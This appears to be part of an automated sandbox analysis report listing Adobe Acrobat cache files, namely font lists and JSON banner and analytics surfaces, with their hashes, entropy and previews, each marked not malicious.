                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:PostScript document text
                                                                          Category:dropped
                                                                          Size (bytes):1233
                                                                          Entropy (8bit):5.233980037532449
                                                                          Encrypted:false
                                                                          SSDEEP:24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
                                                                          MD5:8BA9D8BEBA42C23A5DB405994B54903F
                                                                          SHA1:FC1B1646EC8A7015F492AA17ADF9712B54858361
                                                                          SHA-256:862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
                                                                          SHA-512:26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
                                                                          Malicious:false
                                                                          Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:PostScript document text
                                                                          Category:dropped
                                                                          Size (bytes):10880
                                                                          Entropy (8bit):5.214360287289079
                                                                          Encrypted:false
                                                                          SSDEEP:192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
                                                                          MD5:B60EE534029885BD6DECA42D1263BDC0
                                                                          SHA1:4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
                                                                          SHA-256:B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
                                                                          SHA-512:52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
                                                                          Malicious:false
                                                                          Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7876

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:PostScript document text
                                                                          Category:dropped
                                                                          Size (bytes):10880
                                                                          Entropy (8bit):5.214360287289079
                                                                          Encrypted:false
                                                                          SSDEEP:192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
                                                                          MD5:B60EE534029885BD6DECA42D1263BDC0
                                                                          SHA1:4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
                                                                          SHA-256:B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
                                                                          SHA-512:52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
                                                                          Malicious:false
                                                                          Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):295
                                                                          Entropy (8bit):5.379229345956442
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJM3g98kUwPeUkwRe9:YvXKXE2H0W4lZc0vcJGMbLUkee9
                                                                          MD5:9A2B1E337F2CA9E4F238B61E436EA093
                                                                          SHA1:4C52F0A5E263C3CFA771D3297315D7DE065C5BBC
                                                                          SHA-256:19FAB2A4144E71F78E09A1B8DF87901E14C86030DFC551E38182C4EDD06D6F74
                                                                          SHA-512:064D73D2082242F63FE85204C4F46ED35A662033FF623E47C11B8766DD0FE66E52CB5A8AAF676442E02FF3377F28F773E2C8672BB4444B7D2754131FDCD3B831
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):294
                                                                          Entropy (8bit):5.328574503707592
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfBoTfXpnrPeUkwRe9:YvXKXE2H0W4lZc0vcJGWTfXcUkee9
                                                                          MD5:2CAD1479A97FA0B0BDC57DD6649D3626
                                                                          SHA1:7700AB573F43596D659E689569F54B9E66A52E43
                                                                          SHA-256:46DDB0A368990F7BF56E7EA31D8B02146C80F198E792C58B37255A37C0321903
                                                                          SHA-512:266094F6A4944C5AC36E34743A122C88BEC94C05625BACF9E040ABE329CE23D95DB5BE8F74C7AF8BD13B72125DE27AA6EFB57F82854AD9E1A3CEFF506DC9F0FC
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):294
                                                                          Entropy (8bit):5.307842297622261
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfBD2G6UpnrPeUkwRe9:YvXKXE2H0W4lZc0vcJGR22cUkee9
                                                                          MD5:EA5E68EAA20474BDD93A3AFACAE37B31
                                                                          SHA1:C2794F1B2A675C9162DFEE881B4C122FFF5B3243
                                                                          SHA-256:257317DC38925E719008CB4748D5E4D54342EF11565EF06D8F2DCF491D3FB1B9
                                                                          SHA-512:8628F9C7676A1933006E29E1CBD7D7D2B636C3EE0DFBB5EC3DDE55869B9A5F4DC289C0A9BD0DE132371306AE394553489A6AB2A005F1F72CF17DD236181E5888
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):285
                                                                          Entropy (8bit):5.36679655248982
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfPmwrPeUkwRe9:YvXKXE2H0W4lZc0vcJGH56Ukee9
                                                                          MD5:4EA6F3BCCEE1E0A412AF863DBA5840C3
                                                                          SHA1:E9826ABCA1DF3083C0D485EB021D5CDD55FB67FD
                                                                          SHA-256:2A1BF93F1E5346D7856B89079FD79CD966D2C3C5FF7795B616955C534BF77543
                                                                          SHA-512:AAC9ECAE32A710FB359F8C821A46DD6DF9A0F780EDE5A940C76C4C143F0F94B66A8615B9A59670BF01841F962E845CFF21194D47F3BAE9D470794C473AA76010
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):1123
                                                                          Entropy (8bit):5.6872395860272205
                                                                          Encrypted:false
                                                                          SSDEEP:24:Yv6XB/4lzvcOpLgE9cQx8LennAvzBvkn0RCmK8czOCCSr:Yvo/4Jbhgy6SAFv5Ah8cv/r
                                                                          MD5:A7659DF78F9BC079BD5F07B45EB8E5C6
                                                                          SHA1:E3BEF9AF6F5B9FB1F4FDF337F7EA1E960D487199
                                                                          SHA-256:BDBAEDCF0CB507930969275519E9B6EC2541C427A5EE9B8B0F4012F7AD7613C9
                                                                          SHA-512:4B25ED4E9DE9010523099752F64555361F4D858A4E2DB9E6E887BDFD76CBF6FD6C0A41000A2168294071A57A433270082AB0E016E5C2F85A95CA62DD2856FB64
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):289
                                                                          Entropy (8bit):5.31151767312073
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJf8dPeUkwRe9:YvXKXE2H0W4lZc0vcJGU8Ukee9
                                                                          MD5:A9959F9E6F5859EC744F2EDA2DBB7AE7
                                                                          SHA1:A2D64F3734B7F0B1C800576E067CE099D42B8059
                                                                          SHA-256:6C85AC3B81A1914CF07B1AB7C11B7BA9D9A357BC7CAE8E60AAC141BC8CDC727B
                                                                          SHA-512:DF604C02F9564D6E1CDBF2717B8DA2656450C3C9E37B1B584DFB86069E8B5E5D768D1B2501CD1A5D8FB55441B03B8D7F8A9E385E1FF21B043DE999974020D371
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):292
                                                                          Entropy (8bit):5.314716352376893
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfQ1rPeUkwRe9:YvXKXE2H0W4lZc0vcJGY16Ukee9
                                                                          MD5:AD9C12E7E6857859FF13D9D13FD893B9
                                                                          SHA1:2EE57251C8538FD1B443FA412DEE84A44D160817
                                                                          SHA-256:5F2811377D6514DF14C1E0DD7FC51061F1CD17C7960ACA54CA33E986D3FBC820
                                                                          SHA-512:DCAB2728BADE437DF84BA4560AAA38E528F80C562C3C25B03BF568596FCE5C91D6ED457BF79D4EFEE1463ADAFEEC07535904425ABE45BF1EF8613857A38222FA
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):289
                                                                          Entropy (8bit):5.319484820014023
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfFldPeUkwRe9:YvXKXE2H0W4lZc0vcJGz8Ukee9
                                                                          MD5:7453E6C73059F818F82DA5F8D9967DBF
                                                                          SHA1:1DBE322FE4004EF976B6E5CF1BF67E991699FEAC
                                                                          SHA-256:53108D2A171B5E46FBDA0BF97C71D9A16BFCBB3EC6DAF06408AE6F846F3E7A53
                                                                          SHA-512:6E8EDD08D500F13FF43A1957DB6E42D44DB70EC1A53FF440E9792CD29E0FF74317DDDCE4193CBA92EE7C4A4B19EEAB9D03A377DD93235698AADD622D803B5901
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):295
                                                                          Entropy (8bit):5.336328697853562
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfzdPeUkwRe9:YvXKXE2H0W4lZc0vcJGb8Ukee9
                                                                          MD5:88294CC5D6BCC780265E25354ED84889
                                                                          SHA1:FD49D2EDDC0AB9DA22FDB3E3E9A3F7937D130844
                                                                          SHA-256:8A8E1304BB2D0F77F83C3F234D83AAF2197A99426E38DB15897020E185CD0983
                                                                          SHA-512:A85C6B2E4C0179C7C2AB626B842649DF1A765B9FC4FDEFA55BD7B3BEE5E1ACAF524B20A759F5651DE969D85FBB644CBF6822E1125BFDAB566EBA03B5D1441B24
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):289
                                                                          Entropy (8bit):5.3170308386831655
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfYdPeUkwRe9:YvXKXE2H0W4lZc0vcJGg8Ukee9
                                                                          MD5:54264E938A03DEC47197777B07C8E964
                                                                          SHA1:5AECC552A6389462D82E9FDD81212213ED048D89
                                                                          SHA-256:17525C2FFD2F5853DB44528FD746380F43154258DE103F2722D122091893DBAF
                                                                          SHA-512:2108B487DDF44AE10980CC733A8C99CE7FD021A62DAD8B6842444AA9739FB67FF709E1ABAE59B9A689C5892133EB12F336DE1763F824E2F3E557A3285E105611
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):284
                                                                          Entropy (8bit):5.303962403835709
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJf+dPeUkwRe9:YvXKXE2H0W4lZc0vcJG28Ukee9
                                                                          MD5:689F72F2F10E9BDB54037AC4B1071B35
                                                                          SHA1:875CAC07BA4AC6383C18C6BB6C22F7AC5A9E5DC6
                                                                          SHA-256:3356CC8A01DA21CBCDE265A2891AB7C1429EEFD6ACB0F75871C160B93B76FBBD
                                                                          SHA-512:A5690ADC41B43CC64D8DA10C7E812B30D9F28F26FF9C45AF39F2F0D1D73D098AEFE6355BC08D1E57F0D40D211002780323A8176ABE5F6367FC6F9BE57BF087F1
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):291
                                                                          Entropy (8bit):5.300460885919344
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfbPtdPeUkwRe9:YvXKXE2H0W4lZc0vcJGDV8Ukee9
                                                                          MD5:204B2BFFCFF664B2455A425762B016E1
                                                                          SHA1:7FC7D12882AE70E816E6D560734CE0744F6A8EC2
                                                                          SHA-256:CA604A799A6427E9770441EF1B8CA2F92E140ABFDE16E080F0B0A47ACCEBB8AB
                                                                          SHA-512:0D2BF30E9E00589B01883090EF5EF3A5B8B98E9BA0DDFFB80003D072077692892C5805EB1DAB5ABB2E47FCAEE518D322370581CF9EBADE579D39E7DC5C322B25
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):287
                                                                          Entropy (8bit):5.305033690184831
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJf21rPeUkwRe9:YvXKXE2H0W4lZc0vcJG+16Ukee9
                                                                          MD5:CBD55402356CE8D5D2D471590308B2DC
                                                                          SHA1:D62BDD0B88BCAF3686EFC55E613E557022DF9B43
                                                                          SHA-256:84DA3DD1CF2BF966650F437A7D9D8023A10BFEA0344E98DB62195AA51B20D3D6
                                                                          SHA-512:9EBD673D3065A92676A9D2A8DADC81E55BBAD51447A53EF21072F007FDE4A64B95183EC32930A42E1FAEFA39DE5F5D9C20D5487A4B41D31B46BB96B665667625
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):1090
                                                                          Entropy (8bit):5.665068776472102
                                                                          Encrypted:false
                                                                          SSDEEP:24:Yv6XB/4lzvcSamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSr:Yvo/4JrBgkDMUJUAh8cvMr
                                                                          MD5:53C02E6362E2587A8480BB239406776F
                                                                          SHA1:B90E67DD7BA735DE6181FD23E0CC8EDF510D6FAD
                                                                          SHA-256:E41AFF944509E6284422CC3A9BA68A6A6E3EFE49CF370CB3193D62E6AC26E812
                                                                          SHA-512:25A7B53009A2AF7F1EA3F24F0347950926BCA0211455E81BF71EB2F488634561166813B15D6D5CF1B9847C6F91ECE910E7AC402EB570D73584BD49990CDF7A44
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):286
                                                                          Entropy (8bit):5.2804851007102265
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJfshHHrPeUkwRe9:YvXKXE2H0W4lZc0vcJGUUUkee9
                                                                          MD5:5D2F0109AA857FD15DCF9F6DC79F5B14
                                                                          SHA1:92098BDCC690C2F4C118E1F831BCECDD660F24F1
                                                                          SHA-256:4B1F7E22340EB299A72FC85BC87B732FD785802B58A476411D78D8ED3BC4D28B
                                                                          SHA-512:44CC618A22B8357C95BCD576D78F93617909ED20BC659CA73063B86D82E4A722B03AF38E7D6D3536BBB6044D6FF4B94EABAB74F5AF81CA8AE18944E73B4BCD49
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

